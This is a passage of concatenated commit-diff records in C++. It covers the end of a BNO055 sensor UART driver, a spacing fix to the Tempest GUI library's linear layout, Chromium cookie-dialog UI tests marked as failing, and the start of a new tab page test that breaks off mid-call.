wasSuccess = false;\n        }\n        if ( ! writeByte(AXIS_MAP_SIGN, 0x06) ) {\n            REPORT_FAILURE(\"AXIS_MAP_SIGN\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(OPR_MODE, NDOF) ) {\n            REPORT_FAILURE(\"OPR_MODE\");\n            wasSuccess = false;\n        }\n        #undef REPORT_FAILURE\n\n        hasInit = wasSuccess;\n        return wasSuccess;\n    }\n\n    bool Bno055Interface::write(uint8_t regAddr, uint8_t length, uint8_t* data) {\n        RegisterWritePacket packetToSend(regAddr, length, data);\n        uart.sendData(packetToSend.bytes(), packetToSend.length);\n        ReceivedAck ack;\n        int loopCount = 0;\n        while (ack.readFrom(uart) != RECEIVED_EXPECTED) {\n            if (++loopCount > 100) {\n                std::cout << \"ack reception timed out!\";\n                return false;\n            }\n        }\n        return (ack.isValidAck() && ! ack.isErrorStatus());\n    }\n\n    bool Bno055Interface::writeByte(uint8_t regAddr, uint8_t data) {\n        return write(regAddr, 1, &data);\n    }\n\n    bool Bno055Interface::isLive() {\n        return hasInit;\n    }\n\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"layout.h\"\n\nusing namespace Tempest;\n\nLayout::Layout(){\n  ow       = 0;\n  mspacing = 0;\n  }\n\nLayout::~Layout() {\n  removeAll();\n  }\n\nWidget *Layout::owner() {\n  return ow;\n  }\n\nconst Widget *Layout::owner() const {\n  return ow;\n  }\n\nvoid Layout::add(Widget *widget, size_t pos) {\n  T_ASSERT_X(widget!=nullptr,\"widget is null\");\n\n  if(widget->parentLay==this)\n    return;\n\n  size_t hasReleaseReciver = -1, hasLeavePtr = -1;\n  if(widget->parentLay){\n    Widget* ow = widget->parentLay->owner();\n\n    for(size_t i=0; i<ow->mouseReleseReciver.size(); ++i)\n      if(widget==ow->mouseReleseReciver[i])\n        hasReleaseReciver=i;\n\n    for(size_t i=0; i<ow->mouseLeaveReciver.size(); ++i)\n      if(widget==ow->mouseLeaveReciver[i])\n        hasLeavePtr=i;\n\n    widget->parentLay->take(widget);\n    }\n\n  if(pos>=w.size())\n    pos=w.size();\n\n  if( widget->hasFocus() || widget->hasChildFocus() )\n    widget->unsetChFocus(widget, 0);\n\n  w.insert(w.begin()+pos,widget);\n\n  widget->parentLay = this;\n  if( hasReleaseReciver!=size_t(-1) )\n    widget->setupMouseReleasePtr(hasReleaseReciver);\n\n  if( hasLeavePtr!=size_t(-1) )\n    widget->setupMouseReleasePtr(hasLeavePtr);\n\n  if( owner() )\n    widget->setContext( owner()->context() );\n\n  if( widget->nToUpdate ){\n    widget->nToUpdate    = false;\n    widget->update();\n    }\n\n  applyLayout();\n  }\n\nvoid Layout::add(Widget *widget) {\n  add(widget,w.size());\n  }\n\nvoid Layout::del(Widget *widget) {\n  if(widget->parentLay!=this)\n    return;\n\n  w.resize( std::remove( w.begin(), w.end(), widget ) - w.begin() );\n  widget->deleteLater();\n  widget->detachMouseReleasePtr();\n  widget->detachMouseLeavePtr();\n\n  applyLayout();\n\n  if( owner() )\n    owner()->update();\n  }\n\nvoid Tempest::Layout::removeAll() {\n  std::vector<Widget*> wx;\n  std::swap(wx,w);\n\n  if( owner() ){\n    Widget* w = owner();\n\n    w->lockDelete();\n    w->mouseReleseReciver.clear();\n    w->update();\n\n    std::vector<Widget*> lv = w->mouseLeaveReciver;\n    for(size_t i=0;i<lv.size();++i){\n      Widget*& wx = lv[i];\n      while( wx && i<wx->mouseLeaveReciver.size() && wx->mouseLeaveReciver[i]!=nullptr ){\n        Widget* l = wx->mouseLeaveReciver[i];\n        wx->mouseLeaveReciver[i] = nullptr;\n        wx = l;\n        }\n      }\n\n    for(size_t i=0;i<lv.size();++i){\n      Widget* wx = lv[i];\n      if( wx )\n        wx->lockDelete();\n      }\n\n    for(size_t i=0;i<lv.size();++i){\n      Widget* wx = lv[i];\n      MouseEvent e(0,0,Event::ButtonNone,0,i,Event::MouseLeave);\n      if( wx )\n        wx->event(e);\n      }\n\n    for(size_t i=0;i<lv.size();++i){\n      Widget* wx = lv[i];\n      if( wx )\n        wx->unlockDelete();\n      }\n\n    w->mouseLeaveReciver.clear();\n    w->unlockDelete();\n    }\n\n  for( size_t i=0; i<wx.size(); ++i ){\n    wx[i]->parentLay = 0;\n    wx[i]->deleteLater();\n    }\n  wx.clear();\n\n  applyLayout();\n  }\n\nWidget *Layout::take(Widget *widget) {\n  if(widget->parentLay!=this)\n    return widget;\n\n  if( widget->hasFocus() )\n    widget->setFocus(0);\n\n  widget->detachMouseReleasePtr();\n  widget->detachMouseLeavePtr();\n  w.resize( std::remove( w.begin(), w.end(), widget ) - w.begin() );\n  widget->parentLay = 0;\n\n  applyLayout();\n\n  if( owner() ){\n    owner()->update();\n    }\n\n  return widget;\n  }\n\nconst std::vector<Widget*> &Layout::widgets() {\n  return w;\n  }\n\nint Layout::spacing() const {\n  return mspacing;\n  }\n\nvoid Layout::setMargin(const Margin &m){\n  mmargin = m;\n  applyLayout();\n  }\n\nvoid Layout::setMargin(int l, int r, int t, int b) {\n  setMargin( Margin(l,r,t,b) );\n  }\n\nconst Margin &Layout::margin() const {\n  return mmargin;\n  }\n\nvoid Layout::placeIn(Widget *wx, int x, int y, int w, int h) {\n  placeIn(wx, Rect(x,y,w,h) );\n  }\n\nvoid Layout::placeIn(Widget *wx, const Rect &r) {\n  int w = std::max( wx->sizePolicy().minSize.w, r.w ),\n      h = std::max( wx->sizePolicy().minSize.h, r.h );\n\n  w = std::min( wx->sizePolicy().maxSize.w, w );\n  h = std::min( wx->sizePolicy().maxSize.h, h );\n\n  wx->setGeometry( r.x + (r.w-w)\/2,\n                   r.y + (r.h-h)\/2,\n                   w,\n                   h );\n  }\n\nSize Layout::sizeHint(const Widget *wx) {\n  Size sz = wx->sizePolicy().minSize;\n  if( wx->sizePolicy().typeH==FixedMax )\n    sz.w = wx->sizePolicy().maxSize.w;\n  if( wx->sizePolicy().typeH==FixedMin)\n    sz.w = wx->sizePolicy().minSize.w;\n\n  if( wx->sizePolicy().typeV==FixedMax )\n    sz.h = wx->sizePolicy().maxSize.h;\n  if( wx->sizePolicy().typeV==FixedMin)\n    sz.h = wx->sizePolicy().minSize.h;\n\n  return sz;\n  }\n\nint Layout::summarySpacings() {\n  return visibleCount()*mspacing;\n  }\n\nint Layout::visibleCount() const {\n  int cnt = 0;\n\n  for(Widget* wx:w)\n    if( wx->isVisible() )\n      cnt++;\n  return cnt;\n  }\n\nvoid Layout::rebind( Widget* wx) {\n  ow = wx;\n\n  if( ow ){\n    for( size_t i=0; i<w.size(); ++i ){\n      T_ASSERT_X(w[i]!=ow,\"recursive layout detected\");\n      w[i]->setContext( ow->context() );\n      }\n    }\n  }\n\nvoid Layout::swap(Layout *other){\n  if( other==0 ){\n    for(Widget* wx:w)\n      wx->deleteLater();\n    w.clear();\n    return;\n    }\n\n  size_t s[2] = { w.size(), other->w.size() };\n  std::swap( mmargin, other->mmargin );\n\n  w.resize( std::max(s[0], s[1]) );\n  other->w.resize( w.size() );\n\n  for( size_t i=0; i<w.size(); ++i ){\n    std::swap( w[i], other->w[i] );\n    }\n\n  w.resize( s[1] );\n  other->w.resize( s[0] );\n\n  for( size_t i=0; i<w.size(); ++i )\n    w[i]->parentLay = this;\n\n  for( size_t i=0; i<other->w.size(); ++i )\n    other->w[i]->parentLay = other;\n\n  }\n\nvoid Layout::setSpacing(int s){\n  s = std::max(s,0);\n\n  if( mspacing!=s ){\n    mspacing = s;\n    applyLayout();\n    }\n  }\n\nvoid LinearLayout::applyLayoutPrivate( int (*w)( const Size& wd ),\n                                       int (*h)( const Size& wd ),\n                                       SizePolicyType (*typeH)( const Widget*  ),\n                                       SizePolicyType (*typeV)( const Widget*  ),\n                                       bool \/*hor*\/,\n                                       void (*setGeometry)( Widget* wd,\n                                                            int x, int y,\n                                                            int w, int h ) ){\n      if( this->widgets().size()==0 )\n        return;\n\n      int fixedSize    = 0,\n          maxSpaceNeed = 0,\n          minSpaceNeedByPref = 0,\n          maxSpaceNeedByExp = 0,\n          visibles = visibleCount(),\n          spacing  = visibles*this->spacing(),\n\n          prefCount = 0,\n          exCount   = 0;\n\n      const std::vector<Widget*>& wd = widgets();\n\n      for( size_t i=0; i<wd.size(); ++i )\n        if( wd[i]->isVisible() ){\n          if( typeH(wd[i])==FixedMin )\n            fixedSize += w(wd[i]->sizePolicy().minSize);\n            else\n          if( typeH(wd[i])==FixedMax )\n            fixedSize += w(wd[i]->sizePolicy().maxSize);\n            else {\n            maxSpaceNeed += w(wd[i]->sizePolicy().maxSize);\n\n            if( typeH(wd[i])==Expanding ){\n              maxSpaceNeedByExp += w(wd[i]->sizePolicy().maxSize);\n              ++exCount;\n              }\n\n            if( typeH(wd[i])==Preferred ){\n              minSpaceNeedByPref += w(wd[i]->sizePolicy().minSize);\n              ++prefCount;\n              }\n            }\n          }\n\n      spacing = std::max(spacing,\n                         w( owner()->size() ) -\n                         (maxSpaceNeed+fixedSize+\n                          ((orientation()==Vertical)? margin().yMargin() : margin().xMargin()) ) );\n\n      int x = margin().left,\n          hmarg = margin().top  + margin().bottom,\n          wmarg = margin().left + margin().right,\n          marg  = margin().top,\n          spaceEx = w(owner()->size()) - spacing - fixedSize - minSpaceNeedByPref,\n          spacePref = minSpaceNeedByPref;\n\n      if( orientation()==Vertical ){\n        x     = margin().top;\n        hmarg = margin().left + margin().right;\n        wmarg = margin().top  + margin().bottom;\n        marg  = margin().left;\n        }\n\n      spaceEx -= wmarg;\n      if( spacePref < spaceEx-maxSpaceNeedByExp )\n        spacePref = spaceEx-maxSpaceNeedByExp;\n\n      if( exCount==0 ) \/\/ TESTME\n        spacePref = w(owner()->size()) - spacing - fixedSize - wmarg;\n\n      size_t nVisible=0;\n      for( size_t i=0; i<wd.size(); ++i )\n        if( wd[i]->isVisible() ){\n          int sp = 0, hw = h(owner()->size()) - hmarg;\n          if( spaceEx==0 )\n            sp = this->spacing();\n          else if( visibles-nVisible > 1 )\n            sp = spacing\/(visibles-nVisible-1);\n\n          if( typeV(wd[i])==FixedMin )\n            hw = h(wd[i]->sizePolicy().minSize);else\/\/-hmarg; else\n          if( typeV(wd[i])==FixedMax )\n            hw = h(wd[i]->sizePolicy().maxSize);\/\/-hmarg;\n\n          int y = marg+( h(owner()->size())-hw-hmarg )\/2,\n              ww = 0;\n\n          if( typeH(wd[i])==FixedMin ){\n            ww = w(wd[i]->sizePolicy().minSize);\n            }\n\n          if( typeH(wd[i])==FixedMax ){\n            ww = w(wd[i]->sizePolicy().maxSize);\n            }\n\n          if( typeH(wd[i])==Preferred ){\n            ww = spacePref\/prefCount;\n            ww = std::max(ww, w(wd[i]->sizePolicy().minSize));\n            ww = std::min(ww, w(wd[i]->sizePolicy().maxSize));\n            spacePref -= ww;\n            --prefCount;\n            }\n\n          if( typeH(wd[i])==Expanding ){\n            ww = spaceEx\/exCount;\n            ww = std::max(ww, w(wd[i]->sizePolicy().minSize));\n            ww = std::min(ww, w(wd[i]->sizePolicy().maxSize));\n            spaceEx -= ww;\n            --exCount;\n            }\n\n          nVisible++;\n          setGeometry( wd[i], x, y, ww, hw );\n          x       += ww;\n          x       += sp;\n          spacing -= sp;\n          }\n    }\n\n\n<commit_msg>linear layout fix<commit_after>#include \"layout.h\"\n\nusing namespace Tempest;\n\nLayout::Layout(){\n  ow       = 0;\n  mspacing = 0;\n  }\n\nLayout::~Layout() {\n  removeAll();\n  }\n\nWidget *Layout::owner() {\n  return ow;\n  }\n\nconst Widget *Layout::owner() const {\n  return ow;\n  }\n\nvoid Layout::add(Widget *widget, size_t pos) {\n  T_ASSERT_X(widget!=nullptr,\"widget is null\");\n\n  if(widget->parentLay==this)\n    return;\n\n  size_t hasReleaseReciver = -1, hasLeavePtr = -1;\n  if(widget->parentLay){\n    Widget* ow = widget->parentLay->owner();\n\n    for(size_t i=0; i<ow->mouseReleseReciver.size(); ++i)\n      if(widget==ow->mouseReleseReciver[i])\n        hasReleaseReciver=i;\n\n    for(size_t i=0; i<ow->mouseLeaveReciver.size(); ++i)\n      if(widget==ow->mouseLeaveReciver[i])\n        hasLeavePtr=i;\n\n    widget->parentLay->take(widget);\n    }\n\n  if(pos>=w.size())\n    pos=w.size();\n\n  if( widget->hasFocus() || widget->hasChildFocus() )\n    widget->unsetChFocus(widget, 0);\n\n  w.insert(w.begin()+pos,widget);\n\n  widget->parentLay = this;\n  if( hasReleaseReciver!=size_t(-1) )\n    widget->setupMouseReleasePtr(hasReleaseReciver);\n\n  if( hasLeavePtr!=size_t(-1) )\n    widget->setupMouseReleasePtr(hasLeavePtr);\n\n  if( owner() )\n    widget->setContext( owner()->context() );\n\n  if( widget->nToUpdate ){\n    widget->nToUpdate    = false;\n    widget->update();\n    }\n\n  applyLayout();\n  }\n\nvoid Layout::add(Widget *widget) {\n  add(widget,w.size());\n  }\n\nvoid Layout::del(Widget *widget) {\n  if(widget->parentLay!=this)\n    return;\n\n  w.resize( std::remove( w.begin(), w.end(), widget ) - w.begin() );\n  widget->deleteLater();\n  widget->detachMouseReleasePtr();\n  widget->detachMouseLeavePtr();\n\n  applyLayout();\n\n  if( owner() )\n    owner()->update();\n  }\n\nvoid Tempest::Layout::removeAll() {\n  std::vector<Widget*> wx;\n  std::swap(wx,w);\n\n  if( owner() ){\n    Widget* w = owner();\n\n    w->lockDelete();\n    w->mouseReleseReciver.clear();\n    w->update();\n\n    std::vector<Widget*> lv = w->mouseLeaveReciver;\n    for(size_t i=0;i<lv.size();++i){\n      Widget*& wx = lv[i];\n      while( wx && i<wx->mouseLeaveReciver.size() && wx->mouseLeaveReciver[i]!=nullptr ){\n        Widget* l = wx->mouseLeaveReciver[i];\n        wx->mouseLeaveReciver[i] = nullptr;\n        wx = l;\n        }\n      }\n\n    for(size_t i=0;i<lv.size();++i){\n      Widget* wx = lv[i];\n      if( wx )\n        wx->lockDelete();\n      }\n\n    for(size_t i=0;i<lv.size();++i){\n      Widget* wx = lv[i];\n      MouseEvent e(0,0,Event::ButtonNone,0,i,Event::MouseLeave);\n      if( wx )\n        wx->event(e);\n      }\n\n    for(size_t i=0;i<lv.size();++i){\n      Widget* wx = lv[i];\n      if( wx )\n        wx->unlockDelete();\n      }\n\n    w->mouseLeaveReciver.clear();\n    w->unlockDelete();\n    }\n\n  for( size_t i=0; i<wx.size(); ++i ){\n    wx[i]->parentLay = 0;\n    wx[i]->deleteLater();\n    }\n  wx.clear();\n\n  applyLayout();\n  }\n\nWidget *Layout::take(Widget *widget) {\n  if(widget->parentLay!=this)\n    return widget;\n\n  if( widget->hasFocus() )\n    widget->setFocus(0);\n\n  widget->detachMouseReleasePtr();\n  widget->detachMouseLeavePtr();\n  w.resize( std::remove( w.begin(), w.end(), widget ) - w.begin() );\n  widget->parentLay = 0;\n\n  applyLayout();\n\n  if( owner() ){\n    owner()->update();\n    }\n\n  return widget;\n  }\n\nconst std::vector<Widget*> &Layout::widgets() {\n  return w;\n  }\n\nint Layout::spacing() const {\n  return mspacing;\n  }\n\nvoid Layout::setMargin(const Margin &m){\n  mmargin = m;\n  applyLayout();\n  }\n\nvoid Layout::setMargin(int l, int r, int t, int b) {\n  setMargin( Margin(l,r,t,b) );\n  }\n\nconst Margin &Layout::margin() const {\n  return mmargin;\n  }\n\nvoid Layout::placeIn(Widget *wx, int x, int y, int w, int h) {\n  placeIn(wx, Rect(x,y,w,h) );\n  }\n\nvoid Layout::placeIn(Widget *wx, const Rect &r) {\n  int w = std::max( wx->sizePolicy().minSize.w, r.w ),\n      h = std::max( wx->sizePolicy().minSize.h, r.h );\n\n  w = std::min( wx->sizePolicy().maxSize.w, w );\n  h = std::min( wx->sizePolicy().maxSize.h, h );\n\n  wx->setGeometry( r.x + (r.w-w)\/2,\n                   r.y + (r.h-h)\/2,\n                   w,\n                   h );\n  }\n\nSize Layout::sizeHint(const Widget *wx) {\n  Size sz = wx->sizePolicy().minSize;\n  if( wx->sizePolicy().typeH==FixedMax )\n    sz.w = wx->sizePolicy().maxSize.w;\n  if( wx->sizePolicy().typeH==FixedMin)\n    sz.w = wx->sizePolicy().minSize.w;\n\n  if( wx->sizePolicy().typeV==FixedMax )\n    sz.h = wx->sizePolicy().maxSize.h;\n  if( wx->sizePolicy().typeV==FixedMin)\n    sz.h = wx->sizePolicy().minSize.h;\n\n  return sz;\n  }\n\nint Layout::summarySpacings() {\n  const int vcount = visibleCount();\n  if( vcount<=0 )\n    return 0;\n  return (vcount-1)*mspacing;\n  }\n\nint Layout::visibleCount() const {\n  int cnt = 0;\n\n  for(Widget* wx:w)\n    if( wx->isVisible() )\n      cnt++;\n  return cnt;\n  }\n\nvoid Layout::rebind( Widget* wx) {\n  ow = wx;\n\n  if( ow ){\n    for( size_t i=0; i<w.size(); ++i ){\n      T_ASSERT_X(w[i]!=ow,\"recursive layout detected\");\n      w[i]->setContext( ow->context() );\n      }\n    }\n  }\n\nvoid Layout::swap(Layout *other){\n  if( other==0 ){\n    for(Widget* wx:w)\n      wx->deleteLater();\n    w.clear();\n    return;\n    }\n\n  size_t s[2] = { w.size(), other->w.size() };\n  std::swap( mmargin, other->mmargin );\n\n  w.resize( std::max(s[0], s[1]) );\n  other->w.resize( w.size() );\n\n  for( size_t i=0; i<w.size(); ++i ){\n    std::swap( w[i], other->w[i] );\n    }\n\n  w.resize( s[1] );\n  other->w.resize( s[0] );\n\n  for( size_t i=0; i<w.size(); ++i )\n    w[i]->parentLay = this;\n\n  for( size_t i=0; i<other->w.size(); ++i )\n    other->w[i]->parentLay = other;\n\n  }\n\nvoid Layout::setSpacing(int s){\n  s = std::max(s,0);\n\n  if( mspacing!=s ){\n    mspacing = s;\n    applyLayout();\n    }\n  }\n\nvoid LinearLayout::applyLayoutPrivate( int (*w)( const Size& wd ),\n                                       int (*h)( const Size& wd ),\n                                       SizePolicyType (*typeH)( const Widget*  ),\n                                       SizePolicyType (*typeV)( const Widget*  ),\n                                       bool \/*hor*\/,\n                                       void (*setGeometry)( Widget* wd,\n                                                            int x, int y,\n                                                            int w, int h ) ){\n      if( this->widgets().size()==0 )\n        return;\n\n      int fixedSize    = 0,\n          maxSpaceNeed = 0,\n          minSpaceNeedByPref = 0,\n          maxSpaceNeedByExp = 0,\n          visibles = visibleCount(),\n          spacing  = std::max(0,visibles-1)*this->spacing(),\n\n          prefCount = 0,\n          exCount   = 0;\n\n      const std::vector<Widget*>& wd = widgets();\n\n      for( size_t i=0; i<wd.size(); ++i )\n        if( wd[i]->isVisible() ){\n          if( typeH(wd[i])==FixedMin )\n            fixedSize += w(wd[i]->sizePolicy().minSize);\n            else\n          if( typeH(wd[i])==FixedMax )\n            fixedSize += w(wd[i]->sizePolicy().maxSize);\n            else {\n            maxSpaceNeed += w(wd[i]->sizePolicy().maxSize);\n\n            if( typeH(wd[i])==Expanding ){\n              maxSpaceNeedByExp += w(wd[i]->sizePolicy().maxSize);\n              ++exCount;\n              }\n\n            if( typeH(wd[i])==Preferred ){\n              minSpaceNeedByPref += w(wd[i]->sizePolicy().minSize);\n              ++prefCount;\n              }\n            }\n          }\n\n      const int realSpacing = w( owner()->size() )\n                             -maxSpaceNeed\n                             -fixedSize\n                             -((orientation()==Vertical)? margin().yMargin() : margin().xMargin());\n      spacing = std::max(spacing,realSpacing);\n\n      int x = margin().left,\n          hmarg = margin().top  + margin().bottom,\n          wmarg = margin().left + margin().right,\n          marg  = margin().top,\n          spaceEx = w(owner()->size()) - spacing - fixedSize - minSpaceNeedByPref,\n          spacePref = minSpaceNeedByPref;\n\n      if( orientation()==Vertical ){\n        x     = margin().top;\n        hmarg = margin().left + margin().right;\n        wmarg = margin().top  + margin().bottom;\n        marg  = margin().left;\n        }\n\n      spaceEx -= wmarg;\n      if( spacePref < spaceEx-maxSpaceNeedByExp )\n        spacePref = spaceEx-maxSpaceNeedByExp;\n\n      if( exCount==0 ) \/\/ TESTME\n        spacePref = w(owner()->size()) - spacing - fixedSize - wmarg;\n\n      size_t nVisible=0;\n      for( size_t i=0; i<wd.size(); ++i )\n        if( wd[i]->isVisible() ){\n          int sp = 0, hw = h(owner()->size()) - hmarg;\n          if( visibles-nVisible > 1 )\n            sp = spacing\/(visibles-nVisible-1);\n\n          if( typeV(wd[i])==FixedMin )\n            hw = h(wd[i]->sizePolicy().minSize);else\n          if( typeV(wd[i])==FixedMax )\n            hw = h(wd[i]->sizePolicy().maxSize);\n\n          int y = marg+( h(owner()->size())-hw-hmarg )\/2,\n              ww = 0;\n\n          if( typeH(wd[i])==FixedMin ){\n            ww = w(wd[i]->sizePolicy().minSize);\n            }\n\n          if( typeH(wd[i])==FixedMax ){\n            ww = w(wd[i]->sizePolicy().maxSize);\n            }\n\n          if( typeH(wd[i])==Preferred ){\n            ww = spacePref\/prefCount;\n            ww = std::max(ww, w(wd[i]->sizePolicy().minSize));\n            ww = std::min(ww, w(wd[i]->sizePolicy().maxSize));\n            spacePref -= ww;\n            --prefCount;\n            }\n\n          if( typeH(wd[i])==Expanding ){\n            ww = spaceEx\/exCount;\n            ww = std::max(ww, w(wd[i]->sizePolicy().minSize));\n            ww = std::min(ww, w(wd[i]->sizePolicy().maxSize));\n            spaceEx -= ww;\n            --exCount;\n            }\n\n          nVisible++;\n          setGeometry( wd[i], x, y, ww, hw );\n          x       += ww;\n          x       += sp;\n          spacing -= sp;\n          }\n    }\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/net\/url_fixer_upper.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/test\/test_server.h\"\n\nnamespace {\n\nconst FilePath::CharType kDocRoot[] = FILE_PATH_LITERAL(\"chrome\/test\/data\");\n\n}  \/\/ namespace\n\ntypedef UITest CollectedCookiesTest;\n\nTEST_F(CollectedCookiesTest, DoubleDisplay) {\n  net::TestServer test_server(net::TestServer::TYPE_HTTP, FilePath(kDocRoot));\n  ASSERT_TRUE(test_server.Start());\n\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  scoped_refptr<TabProxy> tab(browser->GetTab(0));\n  ASSERT_TRUE(tab.get());\n\n  \/\/ Disable cookies.\n  ASSERT_TRUE(browser->SetDefaultContentSetting(CONTENT_SETTINGS_TYPE_COOKIES,\n                                                CONTENT_SETTING_BLOCK));\n\n  \/\/ Load a page with cookies.\n  ASSERT_TRUE(tab->NavigateToURL(test_server.GetURL(\"files\/cookie1.html\")));\n\n  \/\/ Click on the info link twice.\n  ASSERT_TRUE(tab->ShowCollectedCookiesDialog());\n  ASSERT_TRUE(tab->ShowCollectedCookiesDialog());\n}\n\nTEST_F(CollectedCookiesTest, NavigateAway) {\n  net::TestServer test_server(net::TestServer::TYPE_HTTP, FilePath(kDocRoot));\n  ASSERT_TRUE(test_server.Start());\n\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  scoped_refptr<TabProxy> tab(browser->GetTab(0));\n  ASSERT_TRUE(tab.get());\n\n  \/\/ Disable cookies.\n  ASSERT_TRUE(browser->SetDefaultContentSetting(CONTENT_SETTINGS_TYPE_COOKIES,\n                                                CONTENT_SETTING_BLOCK));\n\n  \/\/ Load a page with cookies.\n  ASSERT_TRUE(tab->NavigateToURL(test_server.GetURL(\"files\/cookie1.html\")));\n\n  \/\/ Click on the info link.\n  ASSERT_TRUE(tab->ShowCollectedCookiesDialog());\n\n  \/\/ Navigate to another page.\n  ASSERT_TRUE(tab->NavigateToURL(test_server.GetURL(\"files\/cookie2.html\")));\n}\n<commit_msg>Disable DoubleDisplay and NavigateAway [mark as FAILS_].<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/net\/url_fixer_upper.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/test\/test_server.h\"\n\nnamespace {\n\nconst FilePath::CharType kDocRoot[] = FILE_PATH_LITERAL(\"chrome\/test\/data\");\n\n}  \/\/ namespace\n\ntypedef UITest CollectedCookiesTest;\n\n\/\/ See crbug.com\/76573\nTEST_F(CollectedCookiesTest, FAILS_DoubleDisplay) {\n  net::TestServer test_server(net::TestServer::TYPE_HTTP, FilePath(kDocRoot));\n  ASSERT_TRUE(test_server.Start());\n\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  scoped_refptr<TabProxy> tab(browser->GetTab(0));\n  ASSERT_TRUE(tab.get());\n\n  \/\/ Disable cookies.\n  ASSERT_TRUE(browser->SetDefaultContentSetting(CONTENT_SETTINGS_TYPE_COOKIES,\n                                                CONTENT_SETTING_BLOCK));\n\n  \/\/ Load a page with cookies.\n  ASSERT_TRUE(tab->NavigateToURL(test_server.GetURL(\"files\/cookie1.html\")));\n\n  \/\/ Click on the info link twice.\n  ASSERT_TRUE(tab->ShowCollectedCookiesDialog());\n  ASSERT_TRUE(tab->ShowCollectedCookiesDialog());\n}\n\n\/\/ See crbug.com\/76573\nTEST_F(CollectedCookiesTest, FAILS_NavigateAway) {\n  net::TestServer test_server(net::TestServer::TYPE_HTTP, FilePath(kDocRoot));\n  ASSERT_TRUE(test_server.Start());\n\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n\n  scoped_refptr<TabProxy> tab(browser->GetTab(0));\n  ASSERT_TRUE(tab.get());\n\n  \/\/ Disable cookies.\n  ASSERT_TRUE(browser->SetDefaultContentSetting(CONTENT_SETTINGS_TYPE_COOKIES,\n                                                CONTENT_SETTING_BLOCK));\n\n  \/\/ Load a page with cookies.\n  ASSERT_TRUE(tab->NavigateToURL(test_server.GetURL(\"files\/cookie1.html\")));\n\n  \/\/ Click on the info link.\n  ASSERT_TRUE(tab->ShowCollectedCookiesDialog());\n\n  \/\/ Navigate to another page.\n  ASSERT_TRUE(tab->NavigateToURL(test_server.GetURL(\"files\/cookie2.html\")));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/test\/ui\/ui_test.h\"\n\n#include \"chrome\/app\/chrome_dll_resource.h\"\n#include \"chrome\/browser\/browser_thread.h\"\n#include \"chrome\/browser\/dom_ui\/new_tab_ui.h\"\n#include \"chrome\/browser\/prefs\/pref_value_store.h\"\n#include \"chrome\/browser\/sync\/signin_manager.h\"\n#include \"chrome\/common\/json_pref_store.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/testing_pref_service.h\"\n\nclass NewTabUITest : public UITest {\n public:\n  NewTabUITest() {\n    dom_automation_enabled_ = true;\n    \/\/ Set home page to the empty string so that we can set the home page using\n    \/\/ preferences.\n    homepage_ = \"\";\n\n    \/\/ Setup the DEFAULT_THEME profile (has fake history entries).\n    set_template_user_data(UITest::ComputeTypicalUserDataSource(\n        UITest::DEFAULT_THEME));\n  }\n};\n\nTEST_F(NewTabUITest, NTPHasThumbnails) {\n  \/\/ Switch to the \"new tab\" tab, which should be any new tab after the\n  \/\/ first (the first is about:blank).\n  scoped_refptr<BrowserProxy> window(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(window.get());\n\n  \/\/ Bring up a new tab page.\n  ASSERT_TRUE(window->RunCommand(IDC_NEW_TAB));\n  int load_time;\n  ASSERT_TRUE(automation()->WaitForInitialNewTabUILoad(&load_time));\n\n  scoped_refptr<TabProxy> tab = window->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n\n  \/\/ TopSites should return at least 3 non-filler pages.\n  \/\/ 8 - 3 = max 5 filler pages.\n  ASSERT_TRUE(WaitUntilJavaScriptCondition(tab, L\"\",\n      L\"window.domAutomationController.send(\"\n      L\"document.getElementsByClassName('filler').length <= 5)\",\n      action_max_timeout_ms()));\n}\n\nTEST_F(NewTabUITest, NTPHasLoginName) {\n  scoped_refptr<BrowserProxy> window(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(window.get());\n\n  ASSERT_TRUE(window->SetStringPreference(prefs::kGoogleServicesUsername,\n                                          \"user@gmail.com\"));\n  \/\/ Bring up a new tab page.\n  ASSERT_TRUE(window->RunCommand(IDC_NEW_TAB));\n  int load_time;\n  ASSERT_TRUE(automation()->WaitForInitialNewTabUILoad(&load_time));\n\n  scoped_refptr<TabProxy> tab = window->GetActiveTab();\n  ASSERT_TRUE(tab.get());\n\n  std::wstring displayed_username;\n  \/\/ The login span should be eventually populated and have the\n  \/\/ correct value.\n  ASSERT_TRUE(WaitUntilJavaScriptCondition(tab, L\"\",\n      L\"window.domAutomationController.send(\"\n      L\"document.getElementById('login-username').innerText.length > 0)\",\n      action_max_timeout_ms()));\n\n  ASSERT_TRUE(tab->ExecuteAndExtractString(\n      L\"\",\n      